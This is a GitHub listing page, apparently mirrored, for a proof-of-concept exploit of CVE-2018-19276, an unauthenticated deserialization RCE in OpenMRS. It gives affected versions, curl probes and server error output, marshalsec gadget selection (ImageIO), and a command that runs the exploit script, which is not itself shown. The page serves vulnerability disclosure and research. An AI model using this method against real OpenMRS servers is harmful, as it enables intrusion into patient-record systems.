All Projects → mpgn → CVE-2018-19276

mpgn / CVE-2018-19276

Licence: other
CVE-2018-19276 - OpenMRS Insecure Object Deserialization RCE

Programming Languages

python
139335 projects - #7 most used programming language

Projects that are alternatives of or similar to CVE-2018-19276

spring-boot-upload-file-lead-to-rce-tricks
spring boot Fat Jar 任意写文件漏洞到稳定 RCE 利用技巧
Stars: ✭ 517 (+2941.18%)
Mutual labels:  rce
Umbraco-RCE
Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution
Stars: ✭ 61 (+258.82%)
Mutual labels:  rce
openmrs-module-initializer
The OpenMRS Initializer module is an API-only module that processes the content of the configuration folder when it is found inside OpenMRS' application data directory.
Stars: ✭ 18 (+5.88%)
Mutual labels:  openmrs
exploit-CVE-2015-3306
ProFTPd 1.3.5 - (mod_copy) Remote Command Execution exploit and vulnerable container
Stars: ✭ 97 (+470.59%)
Mutual labels:  rce
RCE-python-oneliner-payload
Python bind shell single line code for both Unix and Windows, used to find and exploit RCE (ImageMagick, Ghostscript, ...)
Stars: ✭ 23 (+35.29%)
Mutual labels:  rce
CVE-2022-21907-http.sys
Proof of concept of CVE-2022-21907 Double Free in http.sys driver, triggering a kernel crash on IIS servers
Stars: ✭ 67 (+294.12%)
Mutual labels:  rce
openmrs-module-radiology
🏥 OpenMRS Radiology Module
Stars: ✭ 37 (+117.65%)
Mutual labels:  openmrs
Log4j-RCE-Scanner
Remote command execution vulnerability scanner for Log4j.
Stars: ✭ 200 (+1076.47%)
Mutual labels:  rce
OSCE
Some exploits, which I’ve created during my OSCE preparation.
Stars: ✭ 74 (+335.29%)
Mutual labels:  rce
PoC-CVE-2021-41773
No description or website provided.
Stars: ✭ 39 (+129.41%)
Mutual labels:  rce
CVE-2021-41773 CVE-2021-42013
Apache HTTP Server 2.4.49, 2.4.50 - Path Traversal & RCE
Stars: ✭ 20 (+17.65%)
Mutual labels:  rce
PwnX.py
🏴‍☠️ Pwn misconfigured sites running ShareX custom image uploader API through chained exploit
Stars: ✭ 30 (+76.47%)
Mutual labels:  rce
ecshop-getshell
ecshop rce getshell
Stars: ✭ 29 (+70.59%)
Mutual labels:  rce
exploits
Some personal exploits/pocs
Stars: ✭ 52 (+205.88%)
Mutual labels:  rce
Domainker
BugBounty Tool
Stars: ✭ 40 (+135.29%)
Mutual labels:  rce
python-log4rce
An All-In-One Pure Python PoC for CVE-2021-44228
Stars: ✭ 179 (+952.94%)
Mutual labels:  rce
NodeJS-Red-Team-Cheat-Sheet
NodeJS Red-Team Cheat Sheet
Stars: ✭ 121 (+611.76%)
Mutual labels:  rce
Exploit-Development
Exploit Development - Weaponized Exploit and Proof of Concepts (PoC)
Stars: ✭ 84 (+394.12%)
Mutual labels:  rce
SecExample
JAVA 漏洞靶场 (Vulnerability Environment For Java)
Stars: ✭ 228 (+1241.18%)
Mutual labels:  rce
agentgo
Hi! Agentgo is a tool for making remote command executions from server to client with golang, protocol buffers (protobuf) and grpc.
Stars: ✭ 15 (-11.76%)
Mutual labels:  rce

CVE-2018-19276 OpenMRS Insecure Object Deserialization RCE

From https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607

Insecure object deserialization allows Arbitrary Code Execution without needing to log in. IP restrictions on Webservices module do not prevent this attack.

image

  • all versions of OpenMRS Platform 2.1.x < 2.1.4
  • all versions of OpenMRS Platform 2.0.x < 2.0.8
  • all versions of OpenMRS Platform 1.12.x < 1.12.1
  • all versions of OpenMRS Reference Application 2.8.x < 2.8.1
  • all versions of OpenMRS Reference Application 2.7.x < 2.7.2
  • all versions of OpenMRS Reference Application 2.6.x < 2.6.2

Found by Nicolas Serra from Security Associate at Bishop Fox.

Proof Of Concept

Let's check how the REST webservices of OpenMRS works using the official documentation:

curl -u admin:test -i 'http://localhost:8080/openmrs/ws/rest/v1/concept'

Let's check the fix:

We can find this information:

image https://github.com/openmrs/openmrs-module-webservices.rest/pull/369#issuecomment-443513473

They basically filter the Content-type of POST request when it's XML, so maybe XXE or an Insecure Deserialization 👍

Let's check the documentation again:

image

Well, this is nice, what append if we send XML to the REST webservice ?

> curl -i -s -k  -X $'POST' -H $'Host: 127.0.0.1:8888' -H $'Content-Type: text/xml'  $'http://127.0.0.1:8888/openmrs/ws/rest/v1/concept'

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=A896A8B1B0092400DBF74E2E8C365949; Path=/openmrs; HttpOnly
Content-Type: application/json;charset=UTF-8
Content-Length: 8980
Date: Mon, 11 Mar 2019 12:58:30 GMT
Connection: close

{"error":{"message":"[ : input contained no data]","code":"com.thoughtworks.xstream.io.xml.XppReader:126","detail":"com.thoughtworks.xstream.io.StreamException:  : input contained no data\n\tat com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:126)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readRealEvent(AbstractPullReader.java:148)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readEvent(AbstractPullReader.java:141)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.move(AbstractPullReader.java:118)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.moveDown[...]

The error give something very interesting : xstream.XStreamMarshaller

Let's try to use the awesome tool marshalsec to trigger an RCE using Java Deserialization.

Let's check available gadget:

$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream -v 
No gadget type specified, available are [SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, CommonsConfiguration, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]

At this point, I just use the github search on every gadget of XStream to find an and occurrence. Only the gadget ImageIO look promising:

image

Let's try it:

image

That it !

Exploit

python CVE-2018-19276.py

image

Ressource:

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].